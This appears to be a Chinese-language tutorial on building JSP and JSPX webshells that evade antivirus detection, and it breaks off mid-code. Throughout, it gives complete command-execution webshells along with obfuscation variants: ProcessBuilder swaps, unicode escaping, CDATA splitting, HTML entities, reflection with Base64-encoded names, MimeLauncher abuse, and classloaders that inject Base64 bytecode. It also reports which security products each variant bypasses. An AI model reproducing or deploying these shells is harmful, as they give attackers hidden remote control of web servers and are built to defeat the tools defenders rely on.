<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%
String cmd=request.getParameter("cmd");
Process process=Runtime.getRuntime().exec(cmd);
InputStream is=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
殺的點在于Runtime.getRuntime().exec非常明顯的特征
Runtime.getRuntime().exec(cmd)其實最終調用的是ProcessBuilder這個函數,因此我們可以直接利用ProcessBuilder來替換Runtime.getRuntime().exec(cmd),從而繞過正則表達式
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%
String cmd=request.getParameter("cmd");
Process process=new ProcessBuilder(new String[]{cmd}).start();
InputStream is=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
免殺效果
某狗:
某盾:
某馬:
vt:
某度在線查殺:
可以看到這全部都免殺過了,就換了一個函數。
這種方式是利用Expression將Runtime.getRuntime().exec這個特征分開,相當于一個對調函數。免殺效果一般,因為很多查殺都是直接匹配Runtime.getRuntime()
<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd=request.getParameter("cmd");
Expression expr=new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
Process process=(Process) expr.getValue();
InputStream in=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(in));
String tmp=null;
while((tmp=bufferedReader.readLine())!=null){
response.getWriter().println(tmp);
}
%>
查殺效果:
可以看到某狗已經查殺出來了。只能說效果很一般
jsp支持unicode編碼,如果殺軟不支持unicode查殺的話,基本上都能繞過
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0063\uuuu006d\uuuu0064\uuuu0020\uuuu003d\uuuu0020\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0063\uuuu006d\uuuu0064\uuuu0022\uuuu0029\uuuu003b\uuuu0050\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu0028\uuuu0029\uuuu002e\uuuu0065\uuuu0078\uuuu0065\uuuu0063\uuuu0028\uuuu0063\uuuu006d\uuuu0064\uuuu0029\uuuu003b\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0020\uuuu0069\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0028\uuuu0029\uuuu003b\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu0069\uuuu0073\uuuu0029\uuuu0029\uuuu003b\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu003b\uuuu0077\uuuu0068\uuuu0069\uuuu006c\uuuu0065\uuuu0028\uuuu0028\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu002e\uuuu0072\uuuu0065\uuuu0061\uuuu0064\uuuu004c\uuuu0069\uuuu006e\uuuu0065\uuuu0028\uuuu0029\uuuu0029\uuuu0021\uuuu003d\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu0029\uuuu007b\uuuu0072\uuuu0065\uuuu0073\uuuu0070\uuuu006f\uuuu006e\uuuu0073\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0057\uuuu0072\uuuu0069\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0029\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu006c\uuuu006e\uuuu0028\uuuu0072\uuuu0029\uuuu003b\uuuu007d%>
注意這里的\uuuu00可以換成\uuuu00uuu...可以跟多個u達到繞過的效果
將代碼(除page以及標簽)進行unicode編碼,并條件到<%%>標簽中,即可執行webshell
在線unicode編碼轉換:
https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/
注意用此在線unicode編碼后內容會存在 /ua ,需要手動刪除,負責無法正常運行
可以看到依舊執行成功
查殺效果:
這個基本上是通殺了屬實是,但由于特征過于明顯,如果人工查殺的話,很容易被發現
這里是要是利用jspx的進行進行免殺,jspx其實就是xml格式的jsp文件
在jspx中,可以利用<jsp:scriptlet>來代替<%%>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<jsp:scriptlet>
String cmd=request.getParameter("cmd");
Process process=Runtime.getRuntime().exec(cmd);
InputStream is=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
當<jsp:scriptlet>被過濾時可以利用EL表達式,達到繞過的效果
${Runtime.getRuntime().exec(param.cmd)}
EL表達式的11個隱含對象
其他情況:
利用命令空間改名去繞過
<demo:root xmlns:bbb="http://java.sun.com/JSP/Page" version="1.2">
<demo:scriptlet>
Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
</demo:scriptlet>
</demo:root>
利用<jsp:expression>繞過
<jsp:root xmlns:bbb="http://java.sun.com/JSP/Page" version="1.2">
<jsp:expression>
Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
</jsp:expression>
</jsp:root>
以上是jsp的一些特性,下面開始正式講解CDATA
說人話就是<![CDATA[與]]>只要能配對就相互抵消,其他不變,因此就可以說多了一個混淆的方式,有點類似多行注釋在一行中使用(sql注入繞過waf),但是這個特征可以將關鍵字,函數進行分割,讓其能混淆的空間變的更大
下面是用xml格式的jsp文件
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="2.0">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd=request.getParameter("cmd");
Process process=Runtime.getRuntime().exec(cmd);
java.io.InputStream is=process.getInputStream();
java.io.BufferedReader bufferedReader=new java.io.BufferedReader(new java.io.InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
</jsp:root>
可以看到這里是能正常運行的,接下來文件使用CDATA進行混淆
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="2.0">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd=requ<![CDATA[est.get]]>Parameter("cmd");
Process process=Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd);
java.io.InputStream is=process.getInputStream();
java.io.BufferedReader bufferedReader=new java.io.BufferedReader(new java.io.InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
</jsp:root>
依舊是能成功運行的,但是我們可以requst和Runtime這些類名都被插入了CDATA,從而消除了特征
免殺效果:
這里HTML編碼免殺與jspx的特效有關,前面的CDATA設計到了jspx的相關知識,由此CDATA的免殺就在上文講了
在XML里可以通過html實體編碼來對特殊字符轉義,jspx同樣繼承了該特性,由此jspx就具有識別html實體編碼,接下來我們就利用上面的免殺馬進行進一步的混淆
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="2.0">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd=requ<![CDATA[est.get]]>Parameter("cmd");
Process process=Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd);
java.io.InputStream is=process.getInputStream();
java.io.BufferedReader bufferedReader=new java.io.BufferedReader(new java.io.InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
</jsp:root>
注意:含有CDATA的內容是不能進行html實體編碼的,反之html實體編碼后的內容也不能插入CDATA,否則無法執行
在線html實體編碼:
https://www.qqxiuzi.cn/bianma/zifushiti.php
可以看到依舊可以正常運行
本章主要講解反射在webhell中的利用,以及反射繞過殺軟的利用與原理
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.*" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd=request.getParameter("cmd");
Class<?> rt=Class.forName("java.lang.Runtime");
Method runtimeMethod=rt.getMethod("getRuntime");
Method method=rt.getMethod("exec", String.class);
Object object=method.invoke(runtimeMethod.invoke(null),cmd);
Process process=(Process) object;
InputStream in=process.getInputStream();
InputStreamReader resultReader=new InputStreamReader(in);
BufferedReader stdInput=new BufferedReader(resultReader);
String s=null;
while ((s=stdInput.readLine()) !=null) {
out.println(s);
}
%>
免殺效果:
特征太明顯里面還有java.lang.Runtime,getRuntime,exec這些敏感內容,由于與反射相關的參數都是字符串,由此我們能操作的空間就很大了。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd=request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt=Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod=rt.getMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method=rt.getMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object=method.invoke(runtimeMethod.invoke(null),cmd);
Process process=(Process) object;
InputStream is=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
免殺效果:
通過測試發現并非查殺的是與反射相關的所有函數,而是匹配是否存在getMethod函數,因此我們只需將getMethod改為getDeclaredMethod即可
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd=request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt=Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod=rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method=rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object=method.invoke(runtimeMethod.invoke(null),cmd);
Process process=(Process) object;
InputStream is=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r=null;
while((r=bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
可以看到正常運行
免殺效果:
可以看到某盾依舊查殺,經過測試某盾查殺的是當存在反射函數又存在Process類的getInputStream方法時會被查殺,這種情況下,筆者并未找到太好的辦法,要么就這些不回顯,要么就利用之前文章寫的免殺技巧。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd=request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt=Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod=rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method=rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object=method.invoke(runtimeMethod.invoke(null),cmd);
%>
免殺效果:
在sun.net. www.MimeLauncher中存在一個run方法 ,而該run方法存在命令執行漏洞
本來打算將MimeLauncher放到前面內置函數免殺那篇文章上講,由于MimeLauncher無法直接使用,需要借助反射進行調用,因此就筆者就將MimeLauncher放在反射免殺后講,及本章
<%@ page import="java.io.*" %>
<%@ page import="java.net.URLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="sun.net.www.MimeEntry" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd=request.getParameter("cmd");
URLConnection urlConnection=new URL("http://127.0.0.1%s").openConnection();
MimeEntry mimeEntry=new MimeEntry("naihe");
Class meClass=MimeEntry.class;
Field field=meClass.getDeclaredField("command");
field.setAccessible(true);
Field field2=meClass.getDeclaredField("tempFileNameTemplate");
field2.setAccessible(true);
field2.set(mimeEntry,"naihe%s567");
InputStream inputStream=new InputStream() {
@Override
public int read() throws IOException {
return -1;
}
};
Class mimeClass=Class.forName("sun.net.www.MimeLauncher");
Constructor mimeCon=mimeClass.getDeclaredConstructor(MimeEntry.class,URLConnection.class,
InputStream.class,String.class,String.class);
mimeCon.setAccessible(true);
Thread thread=(Thread) mimeCon.newInstance(mimeEntry, urlConnection, inputStream, "0","0");
Field field3=mimeClass.getDeclaredField("execPath");
field3.setAccessible(true);
field3.set(thread,cmd);
Method m=mimeClass.getDeclaredMethod("run");
m.setAccessible(true);
m.invoke(thread);
%>
類似MimeLauncher的類還有許多,適合大家去挖掘挖掘,利用時大概率會用到反射,就當練習練習反射相關的知識也是不錯的選擇
免殺效果:
這種方式簡單地說就是用ideal將java文件編程成class文件,然后將class讀取出來用base64編碼即可,這種方式比較方便簡單,不需要會使用ASM,javassist等字節碼框架。
package com.demo;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.util.Base64;
public class Demo {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
FileChannel fileChannel=null;
FileInputStream in=null;
in=new FileInputStream("C:\\Users\\12107\\Desktop\\免殺\\target\\classes\\com\\demo\\Shell.class");
fileChannel=in.getChannel();
ByteBuffer buffer=ByteBuffer.allocate((int) fileChannel.size());
while (fileChannel.read(buffer) > 0) {
}
System.out.println(new String(Base64.getEncoder().encode(buffer.array())));
}
}
Shell.java
package com.demo;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Shell {
public static String runs(String cmd) throws IOException {
Process process=Runtime.getRuntime().exec(cmd);
InputStream is=process.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r="";
String s="";
while((r=bufferedReader.readLine())!=null){
s +=r;
}
return s;
}
}
javassist是生成修改字節碼的框架,使用比ASM更簡潔,但是并非jvm自帶的庫,也是筆者非常喜歡的一個框架。
package com.demo;
import javassist.*;
import java.io.IOException;
import java.util.Base64;
public class Demo2 {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool=ClassPool.getDefault();
CtClass cc1=classPool.makeClass("com.demo.Shell");
CtConstructor cons=new CtConstructor(new CtClass[]{},cc1);
cons.setBody("{}");
String runCode1="{}";
cons.insertBefore((runCode1));
cc1.addConstructor(cons);
CtMethod cm2=new CtMethod(ClassPool.getDefault().get("java.lang.String"), "runs", new CtClass[]{classPool.get("java.lang.String")}, cc1);
cm2.setModifiers(Modifier.PUBLIC);
cm2.setBody("{ Process process=Runtime.getRuntime().exec($1);\n" +
" java.io.InputStream is=process.getInputStream();\n" +
" java.io.BufferedReader bufferedReader=new java.io.BufferedReader(new java.io.InputStreamReader(is));\n" +
" String r=\"\";\n" +
" String s=\"\";\n" +
" while((r=bufferedReader.readLine())!=null){\n" +
" s +=r;\n" +
" }\n" +
" return s;}");
cc1.addMethod(cm2);
System.out.println(new String(Base64.getEncoder().encode(cc1.toBytecode())));
}
}
ASM相比javassist操作更復雜,但是jvm自帶,利用面非常廣
package com.demo;
import jdk.internal.org.objectweb.asm.ClassWriter;
import jdk.internal.org.objectweb.asm.MethodVisitor;
import java.util.Base64;
import static jdk.internal.org.objectweb.asm.Opcodes.*;
public class Demo2 {
public static void main(String[] args){
ClassWriter cw=new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(V1_8, ACC_PUBLIC, "Shell", null, "java/lang/Object", null);
MethodVisitor mw=cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
mw.visitVarInsn(ALOAD, 0);
mw.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V",false);
mw.visitInsn(RETURN);
mw.visitMaxs(1, 1);
mw.visitEnd();
MethodVisitor mw2=cw.visitMethod(ACC_PUBLIC, "runs",
"(Ljava/lang/String;)Ljava/lang/Process;", null, null);
mw2.visitCode();
mw2.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime",
"()Ljava/lang/Runtime;",false);
mw2.visitVarInsn(ALOAD,1);
mw2.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
mw2.visitInsn(ARETURN);
mw2.visitMaxs(10, 3);
mw2.visitEnd();
byte[] code=cw.toByteArray();
System.out.println(new String(Base64.getEncoder().encode(code)));
}
}
這里由于ASM操作比較復雜,就先生成一個簡單的字節碼(前面javac和javassist筆者寫的回顯都是在字節碼這,這ASM回顯的內容就先不放在ASM中生成),由于runs函數的返回值為Process,我們只需要在后面的jsp處理中拿出來用即可。
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
ClassLoader loader=new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.contains("com.demo.Shell")){
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes=Base64.getDecoder().decode("yv66vgAAADQAFQEADmNvbS9kZW1vL1NoZWxsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgwABQAGCgAEAAcBAARydW5zAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1J1bnRpbWUHAAsBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAANAA4KAAwADwEABGV4ZWMMABEACgoADAASAQAEQ29kZQABAAIABAAAAAAAAgABAAUABgABABQAAAARAAEAAQAAAAUqtwAIsQAAAAAAAQAJAAoAAQAUAAAAFAAKAAIAAAAIuAAQK7YAE7AAAAAAAAA=");
PermissionCollection pc=new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain=new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
};
String cmd=request.getParameter("cmd");
Class<?> shell=loader.loadClass("com.demo.Shell");
Object object=shell.newInstance();
Method dm=shell.getDeclaredMethod("runs",String.class);
Process o2=(Process)dm.invoke(object, cmd);
InputStream is=o2.getInputStream();
BufferedReader bufferedReader=new BufferedReader(new InputStreamReader(is));
String r="";
String s="";
while((r=bufferedReader.readLine())!=null){
s +=r;
}
response.getWriter().println(s);
%>
免殺修改
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.nio.channels.FileChannel" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
Method defineClass= ClassLoader.class.getDeclaredMethod("defineClass", String.class,
byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] bytes=Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
Class shell=(Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "com.demo.Shell", bytes, 0, bytes.length);
Object object=shell.newInstance();
Method dm=shell.getDeclaredMethod("runs",String.class);
Object invoke=dm.invoke(object, "calc");
%>
免殺效果:
雖然用原始的defindClass雖然能到達免殺效果,但是由于沒有重寫loadClass,findClass,沒有打破雙親委派,導致惡意的字節碼被加載后,再次訪問網頁的時候,類不會被生成,導致不能正常使用
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
ClassLoader loader=new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.contains("com.demo.Shell")){
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes=Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAA